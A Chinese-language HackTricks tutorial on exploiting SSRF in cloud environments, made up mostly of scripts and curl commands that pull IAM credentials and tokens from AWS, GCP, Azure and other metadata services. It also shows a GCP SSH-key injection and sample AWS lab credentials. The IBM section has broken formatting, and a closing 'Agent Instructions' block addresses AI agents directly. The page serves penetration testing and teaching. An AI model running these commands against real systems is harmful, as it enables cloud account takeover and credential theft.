# Cloud SSRF

## 云端SSRF

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

### AWS

#### 在AWS EC2环境中滥用SSRF

**元数据**端点可以从任何EC2机器内部访问，并提供有关其的有趣信息。它可以在以下URL中访问：`http://169.254.169.254`（[有关元数据的信息在此处](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)）。

有**2个版本**的元数据端点。**第一个**版本允许通过**GET**请求访问端点（因此任何**SSRF都可以利用它**）。对于**版本2**，[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)，您需要发送带有**HTTP头**的**PUT**请求来请求一个**令牌**，然后使用该令牌来通过另一个HTTP头访问元数据（因此使用SSRF**更加复杂**）。

{% hint style="danger" %}
请注意，如果EC2实例正在强制执行IMDSv2，[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)，**PUT请求的响应**将具有**1个跳数限制**，这将使得无法从EC2实例内部的容器访问EC2元数据。

此外，**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
{% endhint %}

您可以在文档中找到有关[元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。在以下脚本中，从中获取了一些有趣的信息：

```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```

作为公开可用的IAM凭证暴露示例，您可以访问：<http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws>

您还可以在以下位置检查公开的EC2安全凭证：<http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance>

然后，您可以使用这些凭证与AWS CLI。这将允许您执行该角色具有权限执行的任何操作。

要利用新凭证，您需要创建一个类似以下内容的新AWS配置文件：

```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```

注意**aws\_session\_token**，这对配置文件的工作至关重要。

[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用，以查找您的权限并尝试提升权限

#### AWS ECS（容器服务）凭据中的SSRF

**ECS**是一组逻辑EC2实例，您可以在其中运行应用程序，而无需扩展自己的集群管理基础设施，因为ECS会为您管理。如果您成功地妥协了在**ECS**中运行的服务，则**元数据端点会发生变化**。

如果您访问\_**<http://169.254.170.2/v2/credentials/\\><GUID>**\_，您将找到ECS机器的凭据。但首先，您需要**找到\<GUID>**。要找到\<GUID>，您需要读取机器内的**environ**变量**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
您可以利用**路径遍历**到`file:///proc/self/environ`来读取它\
上述的http地址应该提供给您**AccessKey、SecretKey和token**。

```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```

{% hint style="info" %}
请注意，在**某些情况下**，您可以从容器中访问**EC2元数据实例**（请检查之前提到的IMDSv2 TTL限制）。在这些情况下，您可以从容器中访问容器IAM角色和EC2 IAM角色。
{% endhint %}

#### 用于AWS Lambda的SSRF <a href="#id-6f97" id="id-6f97"></a>

在这种情况下，**凭据存储在环境变量**中。因此，要访问它们，您需要访问类似于\*\*`file:///proc/self/environ`\*\*的内容。

**有趣的环境变量的名称**包括：

* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`

此外，除了IAM凭据，Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数，并且可能包含**敏感信息**（例如**stageVariables**中的信息）。与IAM凭据不同，此数据可通过标准SSRF在\*\*`http://localhost:9001/2018-06-01/runtime/invocation/next`\*\*上访问。

{% hint style="warning" %}
请注意，**Lambda凭据**位于**环境变量**中。因此，如果Lambda代码的**堆栈跟踪**打印环境变量，可能会通过在应用程序中**引发错误**来**外泄**它们。
{% endhint %}

#### 用于AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>

我们从API中检索`accountId`和`region`。

```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```

我们随后从API中检索`AccessKeyId`、`SecretAccessKey`和`Token`。

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```

![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)

然后我们使用这些凭据与 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。

### GCP <a href="#id-6440" id="id-6440"></a>

您可以在[**此处找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。

#### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>

需要 HTTP 标头 **`Metadata-Flavor: Google`**，您可以通过以下 URL 访问元数据端点：

* <http://169.254.169.254>
* <http://metadata.google.internal>
* <http://metadata>

提取信息的有趣端点：

```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```

Beta目前不需要标题（感谢Mathias Karlsson @avlidienbrunn）

```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```

{% hint style="danger" %}
为了**使用外泄的服务账户令牌**，你可以执行以下操作：

```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
```

{% endhint %}

#### 添加一个SSH密钥 <a href="#id-3e24" id="id-3e24"></a>

提取令牌

```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```

检查令牌的范围（使用先前的输出或运行以下内容）

```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```

现在推送SSH密钥。

{% code overflow="wrap" %}

```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```

{% endcode %}

#### 云函数 <a href="#id-9f1f" id="id-9f1f"></a>

元数据端点的工作方式与虚拟机中的相同，但没有一些端点：

```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
```

### Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>

{% hint style="warning" %}
Digital Ocean没有像AWS Roles或GCP service account这样的东西，所以不要期望找到元数据机器凭证。
{% endhint %}

文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到。

```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```

### Azure <a href="#cea8" id="cea8"></a>

#### Azure虚拟机

[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).

* **必须**包含头部 `Metadata: true`
* 不得包含 `X-Forwarded-For` 头部

{% code overflow="wrap" %}

```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```

{% endcode %}

```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```

#### Azure App Service

从 **env** 中，您可以获取 `IDENTITY_HEADER` 和 `IDENTITY_ENDPOINT` 的值。您可以使用这些值来获取一个令牌，以便与元数据服务器通信。

大多数情况下，您希望获取以下资源之一的令牌：

* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)

```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```

```powershell
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```

### IBM 云 <a href="#id-2af0" id="id-2af0"></a>

{% hint style="warning" %}
请注意，在 IBM 中，默认情况下未启用元数据，因此即使您在 IBM 云虚拟机内部，也可能无法访问它。
{% endhint %}

{% code overflow="wrap" %}

```
```

{% endcode %}

\`\`\`bash export instance\_identity\_token=\`curl -s -X PUT "<http://169.254.169.254/instance\\_identity/v1/token?version=2022-03-01"\\> -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires\_in": 3600 }' | jq -r '(.access\_token)'\`

## Get instance details

curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance\_identity\_token" -X GET "<http://169.254.169.254/metadata/v1/instance?version=2022-03-01>" | jq

## Get SSH keys info

curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance\_identity\_token" "<http://169.254.169.254/metadata/v1/keys?version=2022-03-01>" | jq

## Get SSH keys fingerprints & user data

curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance\_identity\_token" "<http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01>" | jq

## Get placement groups

curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance\_identity\_token" "<http://169.254.169.254/metadata/v1/placement\\_groups?version=2022-03-01>" | jq

## Get IAM credentials

curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance\_identity\_token" "<http://169.254.169.254/instance\\_identity/v1/iam\\_token?version=2022-03-01>" | jq

```
## Packetcloud

要访问Packetcloud的元数据，请查看文档：[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)

## OpenStack/RackSpace

不需要头部信息。可以通过以下方式访问元数据：

- `http://169.254.169.254/openstack`

## HP Helion

这里也没有提到需要头部信息。可以通过以下方式访问元数据：

- `http://169.254.169.254/2009-04-04/meta-data/`

## Oracle Cloud

Oracle Cloud提供一系列端点来访问各种元数据方面：

- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
- `http://192.0.0.192/latest/meta-data/`
- `http://192.0.0.192/latest/attributes/`

## Alibaba

阿里巴巴提供用于访问元数据的端点，包括实例和镜像ID：

- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
- `http://100.100.100.200/latest/meta-data/image-id`

## Kubernetes ETCD

Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方法如下：

- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`

## Docker

可以在本地访问Docker元数据，示例显示了如何检索容器和镜像信息：

- 通过Docker套接字访问容器和镜像元数据的简单示例：
  - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
  - 在容器内，使用带有Docker套接字的curl：
  - `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
  - `curl --unix-socket /var/run/docker.sock http://foo/images/json`

## Rancher

可以使用以下方式访问Rancher的元数据：

- `curl http://rancher-metadata/<version>/<path>`
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
